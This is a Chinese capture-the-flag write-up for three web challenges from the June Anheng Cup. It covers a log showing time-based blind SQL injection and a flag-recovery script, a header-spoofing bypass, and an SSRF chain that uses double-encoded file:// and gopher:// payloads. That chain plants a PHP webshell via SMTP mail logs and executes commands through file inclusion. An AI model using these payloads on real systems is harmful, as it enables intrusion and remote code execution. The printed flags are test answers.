安恒杯6月 web writeup

  ctf

0x00 前言

考试之前打一打安恒杯,算是给考试放松放松吧

 

0x01 简单的日志分析

题目给了一个file文件,是一个文件流量分析,其主要的点再后面的语句中

192.168.80.1 - - [01/Mar/2019:09:47:33 -0500] "GET /web/admin/sql.php?id=-1 union select 1,IF(MID((select f1ag from f1ag limit 0,1),1,1)=binary('e'),1,sleep(3)) HTTP/1.1" 200 4017 "-" "python-requests/2.21.0"

192.168.80.1 - - [01/Mar/2019:09:47:36 -0500] "GET /web/admin/sql.php?id=-1 union select 1,IF(MID((select f1ag from f1ag limit 0,1),1,1)=binary('f'),1,sleep(3)) HTTP/1.1" 200 4017 "-" "python-requests/2.21.0"
192.168.80.1 - - [01/Mar/2019:09:47:36 -0500] "GET /web/admin/sql.php?id=-1 union select 1,IF(MID((select f1ag from f1ag limit 0,1),1,1)=binary('g'),1,sleep(3)) HTTP/1.1" 200 4017 "-" "python-requests/2.21.0"

可以看见黑客进行了SQL时间盲注,如果不匹配则延时3秒,匹配则不产生延迟(吐槽一下:为了出题也真是够拼的,这这么低效率的方法。。。),因此基于此规则一个一个进行推断,因此写出进行爆破

import re

sec = re.compile(r'[[](.*?)[]]')  
binarys = re.compile(r'binary[(](.*?)[)]') # 提取出注入的字符
mids = re.compile(r"IF[(](.*)[)]")   # 提取出行列数
flag = ''
files = open('file','r')
first = True
while(files):
	list1 = files.readline().strip('\n')
	if list1 =='':break
	# 计算出时间
	if  re.findall(binarys, list1) and len(re.findall(binarys, list1)[0].replace("'",""))==1 :
		if first:
			list2 = files.readline().strip('\n')
			if list2 == '': break
			if(len(re.findall(binarys, list2)[0].replace("'",""))!=1) : continue
		try:
			if first:
				time1 = re.findall(sec, list1)[0].split(':')[3].split(' ')[0]  # 提取秒数
				time2 = re.findall(sec, list2)[0].split(':')[3].split(' ')[0]
				chars = re.findall(mids, list1)[0].split(',')[2]
				first = False
			else:
				time1 = time2
				time2 = re.findall(sec, list1)[0].split(':')[3].split(' ')[0]
			time1 = int(time1)
			time2 = int(time2)
			chars2 = re.findall(binarys, list1)[0].replace("'","")  # 找出当前注入字符
			try:
				lines = re.findall(mids, list1)[0].split(',')[2]   # 提取当前的行数
				lines = int(lines)
			except:
				continue
			if abs(time2-time1)<=1 or abs(time2 - time1)>59:	
				flag +=chars
				print(str(lines)+':'+flag)
			chars = chars2
		except:
			pass



files.close()
print(flag)

flag{50f1ea7cf1544106e3555c4cc2cf4087}

 

0x02 Web1

打开只有一个图片

用dirsearch进行扫面,发现admin.php界面,进入之后提示只有本地ip才能访问,这里同时需要改host,加上xff即可

flag{h0st_And_iP_a1l_faKe}

 

0x02 web2

一个源码审计的题目,源码如下

<?php
highlight_file(__FILE__);
$x = $_GET['x'];
$pos = strpos($x,"php");
if($pos){
        exit("denied");
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"$x");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
echo $result; 

与某入群题有着异曲同工之妙,但同时过滤了php的函数,因此使用二次url编码进行绕过,使用file协议读取flag.php文件,这里注意要使用绝对路径,通过访问

http://101.71.29.5:10000/?x=http://172.18.0.2/?a=file:////etc/apache2/sites-enabled/000-default.conf

得到绝对路径为/var/www/html/,则进行访问flag.php,构造url

http://101.71.29.5:10000/?x=file:///var/www/html/flag.%2570%2568%2570

要求我们访问/etc/hosts,继续访问

继续嗅探这个IP,同时发现了172.18.0.2这个ip上面有源码泄露,使用双编码绕过之后发现了php文件包含伪协议,源码如下

<?php
highlight_file(__FILE__);
$x = $_GET['x'];
$pos = strpos($x,"php");
if($pos){
        exit("denied");

}

同时发现也可以使用file协议,尝试使用文件包含错误日志之后无果,读了读apache的配置就没有然后了。。。

后期在扫描端口的时候发现了25,smtp端口

因此百度一下,在一遍发送邮件日志包含文件漏洞找突击口,使用gophar协议,使用Gopherus工具创造payload

http://101.71.29.5:10012/?x=gopher://172.18.0.2:25/_MAIL%2520FROM:%253C%253F%2570%2568%2570%2520system%2528%2524_GET%255B%2527christa%25

使用php伪协议读取一下日志

http://101.71.29.5:10012/?x=http://172.18.0.2?a=%2570%2568%2570://filter/read=convert.base64-encode/resource=../../log/mail.log

使用文件包含进行flag读取

http://101.71.29.5:10012/?x=http%3a%2f%2f172.18.0.2%3fa%3d%2fvar%2flog%2fmail.log%2526c%3dcat%20%2fTh7s_isFlag

因此flag为

flag{dcbd1fa555331261ed1bfd21c3dd889f}